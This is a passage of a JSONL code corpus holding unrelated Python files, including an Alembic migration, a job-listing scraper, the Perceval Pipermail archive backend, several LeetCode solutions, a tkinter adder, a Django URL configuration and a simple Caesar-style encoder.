banned\n\t\t\t\"status\":1,\n\t\t\t#是否被服务占用\n\t\t\t\"used\":0\n\t\t}\n\n\t\tself.timeStamp = False","sub_path":"model/Client.py","file_name":"Client.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"181497804","text":"\"\"\"empty message\n\nRevision ID: ed20c3206460\nRevises: 8a0e295af33c\nCreate Date: 2018-07-18 12:08:54.854137\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nfrom alembic.ddl import postgresql\n\nrevision = 'ed20c3206460'\ndown_revision = '8a0e295af33c'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('resource', 'approved')\n op.add_column('resource', sa.Column('approved', sa.String(), nullable=False, default=\"unapproved\"))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('resource', 'approved')\n op.add_column('resource', sa.Column('approved', sa.Boolean(), nullable=False, default=False))\n # ### end Alembic commands ###\n\n","sub_path":"backend/migrations/versions/ed20c3206460_.py","file_name":"ed20c3206460_.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"389030636","text":"import csv\nimport urllib.request\nfrom queue import Queue\nfrom bs4 import BeautifulSoup\n\nf = open(\"D:\\\\Study\\\\University\\\\IIP\\사람인\\\\키워드 작업 관리\\\\python_test_file.csv\",'r')\nf2 = open(\"D:\\\\Study\\\\University\\\\IIP\\사람인\\\\키워드 작업 관리\\\\output.csv\",'w')\ncsvReader = csv.reader(f)\ncsvWriter = csv.writer(f2, delimiter = ',', quotechar = '|')\n\ntag = ['div', 'table', 'tr', 'td']\nkeyward = (\"Company_number\", \"모집분야\", \"모집 분야\", \"모집부문\", \"모집 부문\", \"자격요건\", \"자격 요건\", \"담당업무\", \"담당 업무\", \"우대사항\", \"직종\", \"업종\",\n \"근무형태\", \"근무부서\", \"근무요일\", \"근무지역\", \"승인인원\", \"교육기관\", \"주요 교육내용\", \"접수마감일\", \"분야\", \"모집인원\", \"인원\", \"급여\", \"급 여\")\nkeyward_stack = Queue()\nkeyward_content = []\n\nisData = False\n\nfor i in range(22) :\n keyward_content.append(0)\ncount = 0\nt_count = 0\n\ncsvWriter.writerow(keyward)\n\nfor row in csvReader :\n for col in row :\n count = count + 1\n if count % 3 == 1 :\n html_num = str(col)\n print(html_num)\n keyward_content[0] = str(col)\n response = urllib.request.urlopen(\"http://www.saramin.co.kr/zf_user/recruit/recruit-view?idx=\" + html_num)\n html_soruce = response.read()\n soup = BeautifulSoup(html_soruce)\n\n root = soup.find('div', {\"id\": \"recruit-info-contents\"})\n Selecter = root\n\n while True :\n Selecter_div = Selecter.find('div')\n Selecter_table = Selecter.find('table')\n if Selecter_table != None :\n isData = True\n print(\"good\")\n break\n elif Selecter_div == None and Selecter_table == None :\n isData = False\n print(\"nothing\")\n break\n Selecter = Selecter_div\n\n if isData == False : continue\n\n\n print(Selecter_table.find('table'))\n\n\nf.close()\nf2.close()","sub_path":"python_module/pycharm/example/DataExtraction.py","file_name":"DataExtraction.py","file_ext":"py","file_size_in_byte":2071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"254253305","text":"import torch\nfrom torch.nn import Linear\nfrom torch.nn.utils import prune\n\n\nclass XLinear(Linear):\n \"\"\"Applies a linear transformation to the incoming data: :math:`y = xA^T + b`\n \"\"\"\n\n def __init__(self, in_features: int, out_features: int, n_classes: int, bias: bool = True) -> None:\n self.n_classes = n_classes\n super(XLinear, self).__init__(n_classes * in_features, n_classes * out_features, bias)\n\n # pruning\n blocks = []\n block_size = (self.weight.shape[0] // self.n_classes, self.weight.shape[1] // self.n_classes)\n for i in range(self.n_classes):\n blocks.append(torch.ones(block_size))\n\n mask = torch.block_diag(*blocks)\n prune.custom_from_mask(self, name=\"weight\", mask=mask)\n","sub_path":"lens/nn/linear.py","file_name":"linear.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"537520291","text":"# -*- coding: utf-8 -*-\n\n'''\nЗадача:\n8. Посчитать, сколько раз встречается определенная цифра\nв введенной последовательности чисел. Количество вводимых\nчисел и цифра, которую необходимо посчитать, задаются вводом с клавиатуры.\n'''\n\n\ndef find_digit_quantity(n, d):\n\ti = 0\n\tfor digit in n:\n\t\tif digit == str(d):\n\t\t\ti += 1\n\tprint(f'В чиcле {n} цифра {d}, встречается {i} раз/раза.')\n\n\ndef rec_find_digit(n, d, result=0):\n\tif len(n) == 0:\n\t\tprint(f'Цифра {d}, встречается {result} раз/раза.')\n\t\treturn\n\telif n[len(n) - 1] == d:\n\t\tresult += 1 \n\tn = n[:len(n) - 1]\n\trec_find_digit(n, d, result)\n\n\nnumber = input('Введите число: ')\ndigit = input('Цифра, встречающаяся в числе:')\n\nif 0 <= int(digit) < 10: \n\t#find_digit_quantity(number, digit)\n\trec_find_digit(number, digit)\nelse:\n\tprint('Такой цифры нет.')\n","sub_path":"2/8.py","file_name":"8.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"535918288","text":"# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2015-2016 Bitergia\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n#\n# Authors:\n# Santiago Dueñas <sduenas@bitergia.com>\n# Germán Poo-Caamaño <gpoo@gnome.org>\n#\n# Note: some ot this code was based on parts of the MailingListStats project\n#\n\nimport datetime\nimport json\nimport logging\nimport os\n\nimport bs4\nimport dateutil\nimport requests\n\nfrom .mbox import MBox, MailingList\nfrom ..backend import BackendCommand, metadata\nfrom ..utils import (DEFAULT_DATETIME,\n datetime_to_utc,\n str_to_datetime,\n urljoin)\n\n\nlogger = logging.getLogger(__name__)\n\n\nPIPERMAIL_COMPRESSED_TYPES = ['.gz', '.bz2', '.zip',\n '.tar', '.tar.gz', '.tar.bz2',\n '.tgz', '.tbz']\nPIPERMAIL_ACCEPTED_TYPES = ['.mbox', '.txt']\nPIPERMAIL_TYPES = PIPERMAIL_COMPRESSED_TYPES + PIPERMAIL_ACCEPTED_TYPES\n\nMOD_MBOX_THREAD_STR = \"/thread\"\n\n\nclass Pipermail(MBox):\n \"\"\"Pipermail backend.\n\n This class allows the fetch the email messages stored on a Pipermail\n archiver. Initialize this class passing the URL where the archiver is\n and the directory path where the mbox files will be fetched and\n stored.\n\n :param url: URL to the Pipermail archiver\n :param dirpath: directory path where the mboxes are stored\n :param cache: cache object to store raw data\n :param origin: identifier of the repository; when `None` or an\n empty string are given, it will be set to `url`\n \"\"\"\n version = '0.1.0'\n\n def __init__(self, url, dirpath, cache=None, origin=None):\n origin = origin if origin else url\n\n super().__init__(url, dirpath, cache=cache, origin=origin)\n self.url = url\n\n @metadata\n def fetch(self, from_date=DEFAULT_DATETIME):\n \"\"\"Fetch the messages from the Pipermail archiver.\n\n The method fetches the mbox files from a remote Pipermail\n archiver and retrieves the messages stored on them.\n\n :param from_date: obtain messages since this date\n\n :returns: a generator of messages\n \"\"\"\n logger.info(\"Looking for messages from '%s' since %s\",\n self.url, str(from_date))\n\n mailing_list = PipermailList(self.url, self.dirpath)\n mailing_list.fetch(from_date=from_date)\n\n messages = self._fetch_and_parse_messages(mailing_list, from_date)\n\n for message in messages:\n yield message\n\n logger.info(\"Fetch process completed\")\n\n\nclass PipermailCommand(BackendCommand):\n \"\"\"Class to run Pipermail backend from the command line.\"\"\"\n\n def __init__(self, *args):\n super().__init__(*args)\n\n self.url = self.parsed_args.url\n self.outfile = self.parsed_args.outfile\n self.origin = self.parsed_args.origin\n self.from_date = str_to_datetime(self.parsed_args.from_date)\n\n if not self.parsed_args.mboxes_path:\n base_path = os.path.expanduser('~/.perceval/mailinglists/')\n self.mboxes_path = os.path.join(base_path, self.url)\n else:\n self.mboxes_path = self.parsed_args.mboxes_path\n\n cache = None\n\n self.backend = Pipermail(self.url, self.mboxes_path,\n cache=cache, origin=self.origin)\n\n def run(self):\n \"\"\"Fetch and print the email messages.\n\n This method runs the backend to fetch the email messages from\n the given archiver. Messages are converted to JSON objects\n and printed to the defined output.\n \"\"\"\n messages = self.backend.fetch(from_date=self.from_date)\n\n try:\n for message in messages:\n obj = json.dumps(message, indent=4, sort_keys=True)\n self.outfile.write(obj)\n self.outfile.write('\\n')\n except IOError as e:\n raise RuntimeError(str(e))\n except Exception as e:\n raise RuntimeError(str(e))\n\n @classmethod\n def create_argument_parser(cls):\n \"\"\"Returns the Pipermail argument parser.\"\"\"\n\n parser = super().create_argument_parser()\n\n # Optional arguments\n parser.add_argument('--mboxes-path', dest='mboxes_path',\n help='Path where mbox files will be stored')\n\n # Required arguments\n parser.add_argument('url',\n help='URL of the archiver')\n\n return parser\n\n\nclass PipermailList(MailingList):\n \"\"\"Manage mailing list archives stored by Pipermail archiver.\n\n This class gives access to remote and local mboxes archives\n from a mailing list stored by Pipermail. This class also allows\n to keep them in sync.\n\n :param url: URL to the Pipermail archiver for this list\n :param dirpath: path to the local mboxes archives\n \"\"\"\n def __init__(self, url, dirpath):\n super().__init__(url, dirpath)\n self.url = url\n\n def fetch(self, from_date=DEFAULT_DATETIME):\n \"\"\"Fetch the mbox files from the remote archiver.\n\n Stores the archives in the path given during the initialization\n of this object. Those archives which a not valid extension will\n be ignored.\n\n Pipermail archives usually have on their file names the date of\n the archives stored following the schema year-month. When `from_date`\n property is called, it will return the mboxes which their year\n and month are equal or after that date.\n\n :param from_date: fetch archives that store messages\n equal or after the given date; only year and month values\n are compared\n\n :returns: a list of tuples, storing the links and paths of the\n fetched archives\n \"\"\"\n logger.info(\"Downloading mboxes from '%s' to since %s\",\n self.url, str(from_date))\n logger.debug(\"Storing mboxes in '%s'\", self.dirpath)\n\n from_date = datetime_to_utc(from_date)\n\n r = requests.get(self.url)\n r.raise_for_status()\n\n links = self._parse_archive_links(r.text)\n\n fetched = []\n\n if not os.path.exists(self.dirpath):\n os.makedirs(self.dirpath)\n\n for l in links:\n filename = os.path.basename(l)\n\n mbox_dt = self._parse_date_from_filepath(filename)\n\n if (from_date.year == mbox_dt.year and \\\n from_date.month == mbox_dt.month) or \\\n from_date < mbox_dt:\n\n filepath = os.path.join(self.dirpath, filename)\n success = self._download_archive(l, filepath)\n\n if success:\n fetched.append((l, filepath))\n\n logger.info(\"%s/%s MBoxes downloaded\", len(fetched), len(links))\n\n return fetched\n\n @property\n def mboxes(self):\n \"\"\"Get the mboxes managed by this mailing list.\n\n Returns the archives sorted by date in ascending order.\n\n :returns: a list of `.MBoxArchive` objects\n \"\"\"\n archives = []\n\n for mbox in super().mboxes:\n dt = self._parse_date_from_filepath(mbox.filepath)\n archives.append((dt, mbox))\n\n archives.sort(key=lambda x: x[0])\n\n return [a[1] for a in archives]\n\n def _parse_archive_links(self, raw_html):\n bs = bs4.BeautifulSoup(raw_html)\n\n candidates = [a['href'] for a in bs.find_all('a', href=True)]\n links = []\n\n for candidate in candidates:\n # Links from Apache's 'mod_mbox' plugin contain\n # trailing \"/thread\" substrings. Remove them to get\n # the links where mbox files are stored.\n if candidate.endswith(MOD_MBOX_THREAD_STR):\n candidate = candidate[:-len(MOD_MBOX_THREAD_STR)]\n\n # Ignore links with not recognized extension\n ext1 = os.path.splitext(candidate)[-1]\n ext2 = os.path.splitext(candidate.rstrip(ext1))[-1]\n\n if ext1 in PIPERMAIL_TYPES or ext2 in PIPERMAIL_TYPES:\n links.append(urljoin(self.url, candidate))\n else:\n logger.debug(\"Ignoring %s archive because its extension was not recognized\",\n candidate)\n\n logger.debug(\"%s archives found\", len(links))\n\n return links\n\n def _parse_date_from_filepath(self, filepath):\n default_dt = datetime.datetime(2100, 1, 1,\n tzinfo=dateutil.tz.tzutc())\n\n try:\n name = os.path.basename(filepath)\n dt = dateutil.parser.parse(name, default=default_dt,\n fuzzy=True)\n except (AttributeError, TypeError, ValueError) as e:\n dt = default_dt\n logger.debug(\"Date of file %s not detected due to %s\",\n filepath, str(e))\n logger.debug(\"Date set to default: %s\", str(dt))\n\n return dt\n\n def _download_archive(self, url, filepath):\n r = requests.get(url)\n r.raise_for_status()\n\n try:\n with open(filepath, 'wb') as fd:\n fd.write(r.content)\n except OSError as e:\n logger.warning(\"Ignoring %s archive due to: %s\", url, str(e))\n return False\n\n logger.debug(\"%s archive downloaded and stored in %s\", url, filepath)\n\n return True\n","sub_path":"glusterDashboard-master/gitlab/lib/python3.5/site-packages/perceval/backends/pipermail.py","file_name":"pipermail.py","file_ext":"py","file_size_in_byte":9982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"243286482","text":"#\n# @lc app=leetcode.cn id=198 lang=python3\n#\n# [198] 打家劫舍\n#\n# https://leetcode-cn.com/problems/house-robber/description/\n#\n# algorithms\n# Easy (46.65%)\n# Likes: 1056\n# Dislikes: 0\n# Total Accepted: 183.1K\n# Total Submissions: 392.5K\n# Testcase Example: '[1,2,3,1]'\n#\n#\n# 你是一个专业的小偷，计划偷窃沿街的房屋。每间房内都藏有一定的现金，影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统，如果两间相邻的房屋在同一晚上被小偷闯入，系统会自动报警。\n#\n# 给定一个代表每个房屋存放金额的非负整数数组，计算你 不触动警报装置的情况下 ，一夜之内能够偷窃到的最高金额。\n#\n#\n#\n# 示例 1：\n#\n# 输入：[1,2,3,1]\n# 输出：4\n# 解释：偷窃 1 号房屋 (金额 = 1) ，然后偷窃 3 号房屋 (金额 = 3)。\n# 偷窃到的最高金额 = 1 + 3 = 4 。\n#\n# 示例 2：\n#\n# 输入：[2,7,9,3,1]\n# 输出：12\n# 解释：偷窃 1 号房屋 (金额 = 2), 偷窃 3 号房屋 (金额 = 9)，接着偷窃 5 号房屋 (金额 = 1)。\n# 偷窃到的最高金额 = 2 + 9 + 1 = 12 。\n#\n#\n#\n#\n# 提示：\n#\n#\n# 0 <= nums.length <= 100\n# 0 <= nums[i] <= 400\n#\n#\n#\n\n# @lc code=start\nclass Solution:\n def rob(self, nums: List[int]) -> int:\n # optimized\n # pre = 0\n # now = 0\n # for num in nums:\n # pre, now = now, max(pre + num, now)\n # return now\n\n if len(nums) < 2:\n return 0 if not nums else nums[0]\n # 1. a[i] = max(a[i-1], nums[i]+a[i-2])\n # a = nums[:]\n # a[0] = nums[0]\n # a[1] = max(nums[0], nums[1])\n # for index in range(2, len(nums)):\n # a[index] = max(a[index - 1], a[index] + a[index - 2])\n # return a[-1]\n\n # 2. optimized\n # a[i][0] = max(a[i-1][0], a[i-1][1])\n # a[i][1] = nums[i] + max(a[i-2][0], a[i-2][1])\n a = [[0, 0] for _ in range(len(nums))]\n a[0][0], a[0][1] = 0, nums[0]\n a[1][0], a[1][1] = nums[0], nums[1]\n for index in range(2, len(nums)):\n a[index][0] = max(a[index - 1][0], a[index - 1][1])\n a[index][1] = nums[index] + max(a[index - 2][0], a[index - 2][1])\n return max(a[-1][0], a[-1][1])\n# @lc code=end\n\n","sub_path":"Week_09/198.打家劫舍.py","file_name":"198.打家劫舍.py","file_ext":"py","file_size_in_byte":2280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"230332434","text":"import tkinter\nroot = tkinter.Tk()\nroot.columnconfigure(1, weight=1)\n\ndef suma():\n print(\"nacisnieto przycisk\")\n a = a_entry.get()\n b= b_entry.get()\n suma=int(a)+int(b)\n wynik.configure(text=f\"{suma}\")\n\na_label = tkinter.Label(master=root,text=\"costam\")\na_label.grid(row=0,column=0)\na_entry = tkinter.Entry(master=root)\na_entry.grid(row=0,column=1)\n\n\nb_label = tkinter.Label(master=root,text=\"costam\")\nb_label.grid(row=1,column=0)\nb_entry = tkinter.Entry(master=root)\nb_entry.grid(row=1,column=1)\n\nbutton = tkinter.Button(master=root,text=\"sum\", command=suma)\na_label.grid(row=2,column=0)\n\nwynik = tkinter.Label(master=root,text=\"costam\")\na_label.grid(row=3,column=0)\n\n\n\nroot.mainloop()","sub_path":"grafika/exam2.py","file_name":"exam2.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"269156829","text":"from __future__ import print_function, division, absolute_import\n\nimport numpy as np\n\nfrom openmdao.api import ExplicitComponent\n\n\nclass OBRComp(ExplicitComponent):\n \"\"\"\n Calculates the rotation matrix from body fixed to the roll frame.\n \"\"\"\n def initialize(self):\n self.options.declare('num_nodes', types=(int,))\n\n def setup(self):\n nn = self.options['num_nodes']\n\n # Inputs\n self.add_input('Gamma', np.zeros(nn), units='rad',\n desc='Satellite roll angle over time')\n\n # Outputs\n self.add_output('O_BR', np.zeros((nn, 3, 3)), units=None,\n desc='Rotation matrix from body-fixed frame to rolled body-fixed '\n 'frame over time')\n\n rows = np.tile(9*np.arange(nn), 4) + np.repeat(np.array([0, 1, 3, 4]), nn)\n cols = np.tile(np.arange(nn), 4)\n\n self.declare_partials('O_BR', 'Gamma', rows=rows, cols=cols)\n\n def compute(self, inputs, outputs):\n \"\"\"\n Calculate outputs.\n \"\"\"\n Gamma = inputs['Gamma']\n O_BR = outputs['O_BR']\n\n O_BR[:, 0, 0] = np.cos(Gamma)\n O_BR[:, 0, 1] = np.sin(Gamma)\n O_BR[:, 1, 0] = -O_BR[:, 0, 1]\n O_BR[:, 1, 1] = O_BR[:, 0, 0]\n O_BR[:, 2, 2] = 1.0\n\n def compute_partials(self, inputs, partials):\n \"\"\"\n Calculate and save derivatives. (i.e., Jacobian)\n \"\"\"\n nn = self.options['num_nodes']\n Gamma = inputs['Gamma']\n\n sin_gam = np.sin(Gamma)\n cos_gam = np.cos(Gamma)\n partials['O_BR', 'Gamma'][:nn] = -sin_gam\n partials['O_BR', 'Gamma'][nn:2*nn] = cos_gam\n partials['O_BR', 'Gamma'][2*nn:3*nn] = -cos_gam\n partials['O_BR', 'Gamma'][3*nn:4*nn] = -sin_gam","sub_path":"CADRE/orbit_dymos/obr_comp.py","file_name":"obr_comp.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"378799726","text":"from django.contrib import admin\nfrom django.urls import path\nfrom . import views\nurlpatterns = [\n path('', views.home, name=\"home\"),\n path('<int:blog_id>',views.detail, name=\"detail\"),\n path('create', views.create, name=\"create\"), #함수도 부를수 있다. 굳이 html만 부르는건 아니다.\n path('edit/<int:blog_id>', views.edit, name=\"edit\"),\n path('delete/<int:blog_id>', views.delete, name=\"delete\"),\n # project/urls.py\n path('comment_add/<int:blog_id>', views.comment_add, name='comment_add'),\n path('comment_edit/<int:comment_id>', views.comment_edit, name='comment_edit'),\n path('comment_delete/<int:comment_id>', views.comment_delete, name='comment_delete'),\n \n]","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"556724810","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def isSymmetric(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: bool\n \"\"\"\n if root is None:\n return True\n self.sym = True\n self.do (root.left, root.right)\n return self.sym\n def do(self, left, right):\n if left is None:\n if right:\n self.sym = False\n return\n else:\n return\n if right is None:\n self.sym = False\n return\n self.do(left.left, right.right)\n if left.val != right.val:\n self.sym = False\n return\n self.do(left.right, right.left)\n \n","sub_path":"2018_google/101_sol.py","file_name":"101_sol.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"33821248","text":"'''(有一个图片没粘上)\nGiven n non-negative integers representing an elevation map where the width of each bar is 1,\ncompute how much water it is able to trap after raining.\nThe above elevation map is represented by array [0,1,0,2,1,0,1,3,2,1,2,1].\nIn this case, 6 units of rain water (blue section) are being trapped. Thanks Marcos for contributing this image!\nExample:\nInput: [0,1,0,2,1,0,1,3,2,1,2,1]\nOutput: 6\n'''\n\nclass Solution:\n # 97.45% 稍微debug了一下过了\n def trap1(self, height):\n \"\"\"\n :type height: List[int]\n :rtype: int\n \"\"\"\n water = 0\n sub = 0\n left = 0\n leftList = []\n for i in range(1, len(height)):\n if height[i] < height[left]:\n sub += height[i]\n leftList.append(height[i])\n else:\n if height[left] != 0:\n water = water + height[left] * (i - left - 1) - sub\n left = i\n sub = 0\n leftList = []\n\n if leftList != []:\n water += self.trap([max(leftList)]+ leftList)\n\n return water\n\n # 100%\n def trap(self, height):\n \"\"\"\n :type height: List[int]\n :rtype: int\n \"\"\"\n if not height:\n return 0\n result = 0\n left = 0\n right = len(height) - 1\n # 先找到最左端和最右端的最大值，之后从最小的那端开始挪动，只要小于右端那个最大值，就可以加上水，如果出现了大于那个最大值的值，就更新最大值，从另一端移动\n while left < right:\n if height[left] <= height[right]:\n tmp = height[left]\n left += 1\n while left < right and height[left] <= tmp:\n result += tmp - height[left]\n left += 1\n else:\n tmp = height[right]\n right -= 1\n while left < right and height[right] <= tmp:\n result += tmp - height[right]\n right -= 1\n return result\n\nso = Solution()\nheight = [0,1,0,2,1,0,1,3,2,1,2,1]\n# height = [4, 2, 3]\nprint(so.trap(height))\n","sub_path":"Algorithm01-50/42_Trapping_Rain_Water.py","file_name":"42_Trapping_Rain_Water.py","file_ext":"py","file_size_in_byte":2211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"453606483","text":"import FWCore.ParameterSet.Config as cms\n\nprocess = cms.Process(\"Demo\")\n\nprocess.MessageLogger = cms.Service(\"MessageLogger\")\n\nprocess.maxEvents = cms.untracked.PSet(\n input = cms.untracked.int32(20)\n)\n\nprocess.source = cms.Source(\"EmptySource\",\n numberEventsInRun = cms.untracked.uint32(3)\n)\n\n#stuck something into the EventSetup\nprocess.WhatsItESProducer = cms.ESProducer(\"WhatsItESProducer\")\n#es_source = DoodadESSource {}\n\nprocess.demo = cms.EDAnalyzer(\"WhatsItAnalyzer\",\n expectedValues = cms.untracked.vint32(0)\n)\n\nprocess.bad = cms.ESSource(\"EmptyESSource\",\n recordName = cms.string('GadgetRcd'),\n iovIsRunNotTime = cms.bool(True),\n firstValid = cms.vuint32(1)\n)\n\nprocess.p = cms.Path(process.demo)\n","sub_path":"FWCore/Integration/test/CatchCmsExceptiontest_cfg.py","file_name":"CatchCmsExceptiontest_cfg.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"320623823","text":"from enum import Enum\nimport shutil\n\n\nclass TestResult(Enum):\n failed = 1\n succed = 2\n\n\nclass HtmlCreator:\n htmlcode = \"\"\n htmlmiddle = \"\"\n css_base_address = \"htmlfiles\\\\listree.min.css\"\n jvc_base_address = \"htmlfiles\\\\listree.umd.min.js\"\n\n def __init__(self, name):\n self.htmlcode = \"\" \\\n \"<!DOCTYPE html>\" \\\n \"<html>\" \\\n \"<head>\" \\\n \"<link rel=\\\"stylesheet\\\" href=\\\"listree.min.css\\\"/>\"\n\n self.htmlcode += \"<title>LisTree\"\n\n self.htmlcode += \"\" \\\n \"\" \\\n \"\" \\\n \"

\"\n\n self.htmlcode += name + \"

\"\n\n def addtohtml(self, code):\n self.htmlmiddle += code\n\n def terminate(self, test_result, report, address):\n self.htmlcode += \"

Summary

\"\n\n if test_result == TestResult.failed:\n self.htmlcode += \"

failed

\"\n else:\n self.htmlcode += \"

succeed

\"\n\n self.htmlcode += \"

\" + report + \"

\"\n\n self.htmlcode += \"
\"\n\n self.htmlcode += self.htmlmiddle\n\n self.htmlcode += \"\" \\\n \"\" \\\n \"\" \\\n \"\" \\\n \"\"\n\n f = open(address, \"a\")\n f.write(self.htmlcode)\n f.close()\n\n res = address.split(\"\\\\\")\n res = res[0:len(res) - 1]\n target = \"\\\\\".join(res)\n\n shutil.copy2(self.css_base_address, target)\n shutil.copy2(self.jvc_base_address, target)\n","sub_path":"scripts/html_creator.py","file_name":"html_creator.py","file_ext":"py","file_size_in_byte":1805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"506691693","text":"\"\"\"model UsdBrl.\"\"\"\r\nfrom sqlalchemy import Column, Integer, Float, String, DateTime\r\n\r\nfrom connection_sqlite.sqlite_conn import BASE\r\n\r\n\r\nclass UsdBrl(BASE):\r\n \"\"\"model UsdBrl.\"\"\"\r\n\r\n __tablename__ = 'Usd_Brl'\r\n\r\n id = Column(Integer, primary_key=True, autoincrement=True)\r\n currency = Column(String)\r\n value = Column(Float)\r\n perc = Column(Float)\r\n timestamp = Column(DateTime)\r\n","sub_path":"model/usd_brl.py","file_name":"usd_brl.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"161088494","text":"from sklearn.feature_extraction.text import CountVectorizer\nfrom nltk.stem.snowball import FrenchStemmer\nimport nltk\nimport re\n\n\nclass MetaExtractor:\n def __init__(self):\n self.stemmer = FrenchStemmer()\n self.analyzer = CountVectorizer().build_analyzer()\n\n self.bad_words = [\"src\", 'html', 'ifram',\n 'allowtransparency', 'analytic', 'class',\n 'com', 'hidden', 'lien', 'lightwidget', 'overflow',\n 'row', 'script', 'scrolling', 'src', 'widget', \"tous\", \"jour\", \"blog\",\n 'width', 'wrapp', \"les\", \"googl\", \"propos\", \"list\", \"https\", \"être\",\n \"plus\", \"tout\"]\n self.stopwords = nltk.corpus.stopwords.words('french') + self.bad_words\n\n def stemmed_words(doc):\n return (self.stemmer.stem(w) for w in self.analyzer(doc) if w not in self.stopwords)\n\n self.cv = CountVectorizer(analyzer=stemmed_words, stop_words=self.stopwords)\n # self.cv = CountVectorizer(stop_words=self.stopwords)\n\n def get_histogram_from_string(self, x):\n try:\n hist = self.cv.fit_transform([x])\n dict_result = {k: int(v) for k, v in zip(self.cv.get_feature_names(), hist.toarray()[0]) if\n k not in self.stopwords and len(k)>2}\n return dict_result\n except:\n return {}\n\n def get_hashtags_from_string(self, x):\n return re.findall(r\"#(\\w+)\", x)\n","sub_path":"socials_api/meta_extractor/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"420659932","text":"#codificador de mensagem\r\nimport string\r\n\r\ndef cod(data, key):\r\n data = str(data)\r\n alf = string.ascii_letters + \" \" + string.digits\r\n res = \"\"\r\n for x in data:\r\n num = alf.index(x)\r\n num = num + key\r\n\r\n #caso num seja maior que o alf\r\n if num > len(alf):\r\n num = num - len(alf)\r\n #caso num seja menos que 0\r\n if num < 0:\r\n num = num + len(alf)\r\n res = res + alf[num]\r\n return res\r\n\r\n\r\n\r\nprint(cod(\"hello world isso e um teste\",20))\r\nprint(cod(cod(\"hello world isso e um teste\",20),-20))\r\n\r\n","sub_path":"codificador.py","file_name":"codificador.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"324311179","text":"class Solution(object):\n def numberOfPatterns(self, m, n):\n \"\"\"\n :type m: int\n :type n: int\n :rtype: int\n \"\"\"\n res = 0\n visited = [False]*9\n \n visited[0] = True\n res += self.dfs(0, visited, 1, m, n)*4\n visited[0] = False\n \n visited[1] = True\n res += self.dfs(1, visited, 1, m, n)*4\n visited[1] = False\n \n visited[4] = True\n res += self.dfs(4, visited, 1, m, n)\n visited[4] = False\n \n return res\n \n def dfs(self, cur, visited, cnt, m, n):\n if cnt == n:\n return 1\n if cnt > n:\n return 0\n res = 0\n if m <= cnt < n:\n res += 1\n for target in range(9):\n if self.possible(cur, target, visited):\n visited[target] = True\n res += self.dfs(target, visited, cnt+1, m, n)\n visited[target] = False\n return res\n \n def possible(self, cur, target, visited):\n if visited[target]:\n return False\n dist = (target//3 - cur//3)**2 + (target%3 - cur%3)**2\n if dist in {1, 2, 5}:\n return True\n return visited[(cur + target)//2]\n \n \n\n\"\"\"\nGiven an Android 3x3 key lock screen and two integers m and n, where 1 ≤ m ≤ n ≤ 9, count the total number of unlock patterns of the Android lock screen, which consist of minimum of m keys and maximum n keys.\n\n \n\nRules for a valid pattern:\n\nEach pattern must connect at least m keys and at most n keys.\nAll the keys must be distinct.\nIf the line connecting two consecutive keys in the pattern passes through any other keys, the other keys must have previously selected in the pattern. No jumps through non selected key is allowed.\nThe order of keys used matters.\n\"\"\"\n","sub_path":"0351. Android Unlock Patterns.py","file_name":"0351. Android Unlock Patterns.py","file_ext":"py","file_size_in_byte":1834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"64063046","text":"from . import 